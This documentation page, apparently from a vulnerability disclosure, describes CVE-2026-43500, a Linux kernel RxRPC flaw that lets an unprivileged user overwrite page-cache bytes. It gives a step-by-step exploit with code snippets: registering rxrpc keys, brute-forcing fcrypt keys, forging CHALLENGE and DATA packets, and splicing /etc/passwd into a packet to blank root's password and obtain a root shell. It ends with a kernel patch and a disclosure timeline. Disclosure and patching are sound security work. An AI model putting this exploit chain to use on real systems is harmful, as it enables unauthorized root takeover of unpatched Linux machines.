Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/V4bel/dirtyfrag/llms.txt

Use this file to discover all available pages before exploring further.

The RxRPC Page-Cache Write vulnerability is a fully unprivileged kernel LPE in the RxRPC/rxkad packet verification path. When a UDP-framed RxRPC DATA packet arrives and its payload was injected via splice from a read-only page cache page, rxkad_verify_packet_1() runs an in-place pcbc(fcrypt) single-block decrypt directly on that page cache page. The 8-byte STORE value is fcrypt_decrypt(C, K) where C is the existing ciphertext in the file and K is an 8-byte session key you register via add_key("rxrpc", ...) without any privilege. By brute-forcing K in user space until the decrypt produces the desired plaintext, you can rewrite 8 bytes of any readable file — in practice, the root entry of /etc/passwd — and obtain a root shell via PAM nullok.
CVE-2026-43500 was disclosed on 2026-04-29. No upstream patch has been merged as of the disclosure date. Apply the diff shown at the bottom of this page.

Root cause

rxkad_verify_packet_1() is responsible for authenticating the first 8 bytes of an incoming RxRPC payload at security level RXRPC_SECURITY_AUTH. It does so by performing an in-place single-block pcbc(fcrypt) decrypt:
net/rxrpc/rxkad.c
static int rxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb,
                                 rxrpc_seq_t seq,
                                 struct skcipher_request *req)
{

        [...]

        /* Decrypt the skbuff in-place.  TODO: We really want to decrypt
         * directly into the target buffer.
         */
        sg_init_table(sg, ARRAY_SIZE(sg));
        ret = skb_to_sgvec(skb, sg, sp->offset, 8);
        if (unlikely(ret < 0))
                return ret;

        /* start the decryption afresh */
        memset(&iv, 0, sizeof(iv));

        skcipher_request_set_sync_tfm(req, call->conn->rxkad.cipher);
        skcipher_request_set_callback(req, 0, NULL, NULL);
        skcipher_request_set_crypt(req, sg, sg, 8, iv.x);     // <=[4]
        ret = crypto_skcipher_decrypt(req);                   // <=[5]
At [4], src and dst are the same scatter-gather list (sg, sg), making the operation in-place. skb_to_sgvec() converts the skb’s frag directly into that SGL, so a page cache page P that you spliced into the frag becomes both the source and the destination of the decrypt. At [5], an 8-byte STORE happens directly on top of page P. Because the IV is all-zero and the operation covers exactly one 8-byte block, pcbc_decrypt(C, K, IV=0) reduces to a plain fcrypt_decrypt(C, K). The value STOREd into the page cache is therefore fcrypt_decrypt(C, K), where C is the 8 bytes that already exist at the splice offset in the file and K is the session key you supply.

Where K comes from

The cipher transform in call->conn->rxkad.cipher is initialized from the session_key field of an RxRPC v1 token. You register that token with:
build_rxrpc_v1_token(buf, K);   /* session_key = K */
syscall(SYS_add_key, "rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
add_key("rxrpc", ...) requires no privilege. You can call it as an ordinary user and register any 8-byte K you choose.

Key differences from the ESP variant

No namespace required

Unlike the ESP variant, you do not call unshare() or need CAP_NET_ADMIN. All primitives — add_key, socket(AF_RXRPC), socket(AF_ALG), splice, recvmsg — are available to unprivileged users.

8 bytes per STORE

Each trigger writes 8 bytes rather than 4. The STORE value is fcrypt_decrypt(C, K), not a directly controlled value, so you must brute-force K in user space before each trigger.

Requires rxrpc.ko

The module is loaded by default on Ubuntu (triggered by socket(AF_RXRPC, ...)), but is absent from RHEL/CentOS default builds. This is the RxRPC variant’s blind spot.

Target: /etc/passwd

Because the STORE value is cipher-constrained, you cannot write an arbitrary ELF. Instead you overwrite the password field of the root entry in /etc/passwd to empty, exploiting PAM nullok.

Exploit overview

The exploit targets line 1 of /etc/passwd. The normal line looks like:
root:x:0:0:root:/root:/bin/bash
You replace characters 4–15 so the line becomes:
root::0:0:GGGGGG:/root:/bin/bash
The passwd field becomes an empty string. pam_unix.so with nullok accepts an empty password and returns PAM_SUCCESS without a prompt. su then calls setresuid(0,0,0) and drops into a root bash shell.

The three-splice chain

A single 8-byte STORE cannot reshape all of characters 4–15 in one shot. The exploit uses last-write-wins across three overlapping positions:
file offset:  0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ...
original:     r o o t : x : 0 : 0  :  r  o  o  t  :  ...

splice A @ 4, 8B → writes chars 4..11  want chars 4..5 = "::"
splice B @ 6, 8B → writes chars 6..13  want chars 6..7 = "0:" (overwrites chars 6..11 from A)
splice C @ 8, 8B → writes chars 8..15  want chars 8..9 = "0:", char 15 = ":",
                                            chars 10..14 ≠ ':', '\0', '\n'
→ "root::0:0:GGGGGG:..."
The 5 “GGGGGG” bytes (chars 10–14) carry only the weak constraint of not being colon, null, or newline, which makes the brute-force search for K_C feasible.

Chained-ciphertext correction

After splice A is applied to the page cache, the ciphertext that splice B sees at offsets 6–11 is no longer the original file content — it is P_A[2..7] (the bytes that splice A STOREd). You must account for this chain when brute-forcing K_B and K_C:
find_K(Ca, /*pred*/ check_pa, &Ka, &Pa);                    /* "::"  */
memcpy(Cb_actual, Pa+2, 6); memcpy(Cb_actual+6, Cb+6, 2);
find_K(Cb_actual, check_pb, &Kb, &Pb);                      /* "0:"  */
memcpy(Cc_actual, Pb+2, 6); memcpy(Cc_actual+6, Cc+6, 2);
find_K(Cc_actual, check_pc, &Kc, &Pc);                      /* "0:GGGGGG:" */
fcrypt has a 56-bit key and the user-space port runs at approximately 18 million decrypts per second. With only 2 bytes tightly constrained per splice (characters 4–5, 6–7, 8–9) and 5 loosely constrained bytes for splice C, the effective search space is small enough that K_A and K_B are found in roughly 5 ms each, and K_C in roughly 1 second.

Key registration

For each of the three positions, you register a fresh key with a unique description:
build_rxrpc_v1_token(buf, K);
syscall(SYS_add_key, "rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
The token is an XDR-encoded RxRPC v1 structure with sec_ix = 2 (RXKAD) and the 8-byte K placed in the session_key field. No privilege is required.
The first socket(AF_RXRPC, ...) call autoloads rxrpc.ko via MODULE_ALIAS_NETPROTO(PF_RXRPC). No explicit modprobe is needed on Ubuntu.

Trigger mechanism

Each of the three STORE operations follows the same handshake flow:
1

Client initiates call

Create an AF_RXRPC client socket bound to port C, set RXRPC_SECURITY_KEY to the key description, and set RXRPC_MIN_SECURITY_LEVEL to RXRPC_SECURITY_AUTH (1). Call sendmsg to initiate an RPC call toward a fake UDP server on port S.
2

Fake server sends CHALLENGE

A plain UDP socket on port S receives the client’s DATA/PING packet, extracts (epoch, cid, callNumber), and sends back a forged CHALLENGE:
struct {
    struct rxrpc_wire_header hdr;
    struct rxkad_challenge   ch;
} __attribute__((packed)) c = {0};
c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2;
c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid);
c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1);
sendto(udp_srv, &c, sizeof(c), 0, /*client*/, ...);
3

Client sends RESPONSE, connection security is initialized

On receiving the CHALLENGE, the client automatically generates and sends a RESPONSE using K, and initializes conn->rxkad.cipher with pcbc(fcrypt) keyed by K. The fake server drains the RESPONSE and ignores it (no valid ticket is needed).
4

Precompute wire cksum

Compute csum_iv by PCBC-encrypting {epoch, cid, 0, sec_ix=2} with IV=K, then compute the wire cksum from {call_id, (cid_low2 << 30) | seq} with IV=csum_iv. Both operations use socket(AF_ALG) with pcbc(fcrypt):
compute_csum_iv(epoch, cid, /*sec_ix=*/2, K, csum_iv);
compute_cksum(cid, callN, /*seq=*/1, K, csum_iv, &cksum_h);

struct rxrpc_wire_header mal = {
    .type = RXRPC_PACKET_TYPE_DATA, .flags = RXRPC_LAST_PACKET, .securityIndex = 2,
    .epoch = htonl(epoch), .cid = htonl(cid), .callNumber = htonl(callN),
    .seq = htonl(1), .cksum = htons(cksum_h), .serviceId = htons(svc_id),
};
5

Splice page cache page into DATA packet

Build a pipe. Use vmsplice to insert the 28-byte forged DATA wire header into the pipe, then splice 8 bytes of /etc/passwd at splice_off into the next pipe slot, then splice the entire pipe into the UDP socket connected to the client:
int p[2]; pipe(p);
vmsplice(p[1], &(struct iovec){&mal, sizeof(mal)}, 1, 0);
splice(passwd_fd, &(loff_t){splice_off}, p[1], NULL, 8, SPLICE_F_NONBLOCK);
connect(udp_srv, /*client*/, ...);
splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + 8, 0);
MSG_SPLICE_PAGES is set automatically, planting the /etc/passwd page cache page directly into the frag of the sender skb.
6

recvmsg routes skb to rxkad_verify_packet_1

Call recvmsg on the client socket. The kernel’s io_thread dequeues the forged DATA packet from local->rx_queue and, because skb_cloned(skb) is false (the skb has not been cloned), reaches rxkad_verify_packet_1 without making a copy.

Call chain

recvmsg(rxsk_cli, &m, 0)
  rxrpc_recvmsg(sock, msg, ...)
    rxrpc_recvmsg_data(sock, call, msg, ...)
      rxrpc_verify_data(call, skb)
        rxkad_verify_packet(call, skb)
          rxkad_verify_packet_1(call, skb, seq, req)
            skb_to_sgvec(skb, sg, sp->offset=28, 8)   // frag = page cache page P
            memset(&iv, 0, sizeof(iv));                // IV = 0
            skcipher_request_set_crypt(req, sg, sg, 8, iv.x)   // src=dst (in-place)
            crypto_skcipher_decrypt(req)
              crypto_pcbc_decrypt(req)
                fcrypt_decrypt(page_address(P) + splice_off, ct, K)
                  // 8-byte STORE: P[splice_off .. +8] = fcrypt_decrypt(C, K)
        return -EPROTO   // ignored; STORE already committed
Like the ESP variant, verification fails after the STORE. The rxkad_verify_packet call returns -EPROTO, but the page cache modification has already been committed and persists until the page is evicted.

Patch

The existing gate before in-place decrypt checked only skb_cloned(skb). Adding || skb->data_len to the condition ensures that non-linear skbs — including those with splice-planted frags — are isolated via skb_copy() before any in-place operation:
diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c
index fdd683261226..6c924ef55208 100644
--- a/net/rxrpc/call_event.c
+++ b/net/rxrpc/call_event.c
@@ -334,7 +334,7 @@ bool rxrpc_input_call_event(struct rxrpc_call *call)
 
 			if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA &&
 			    sp->hdr.securityIndex != 0 &&
-			    skb_cloned(skb)) {
+			    (skb_cloned(skb) || skb->data_len)) {
 				/* Unshare the packet so that it can be
 				 * modified by in-place decryption.
 				 */
diff --git a/net/rxrpc/conn_event.c b/net/rxrpc/conn_event.c
index a2130d25aaa9..eab7c5f2517a 100644
--- a/net/rxrpc/conn_event.c
+++ b/net/rxrpc/conn_event.c
@@ -245,7 +245,7 @@ static int rxrpc_verify_response(struct rxrpc_connection *conn,
 {
 	int ret;
 
-	if (skb_cloned(skb)) {
+	if (skb_cloned(skb) || skb->data_len) {
 		/* Copy the packet if shared so that we can do in-place
 		 * decryption.
 		 */
As of disclosure (2026-05-08), this patch has not been merged upstream. The patch was submitted to the netdev mailing list at https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/.

Disclosure timeline

Detailed information about the RxRPC vulnerability and a weaponized exploit were submitted to security@kernel.org. A patch was submitted to the netdev mailing list and the issue was made public.
Detailed information and the exploit were submitted to the linux-distros mailing list with a 5-day embargo. An unrelated third party published the ESP exploit publicly the same day, triggering early full disclosure of the entire Dirty Frag document after agreement with distribution maintainers.
CVE-2026-43500 was reserved for tracking this vulnerability.

Build docs developers (and LLMs) love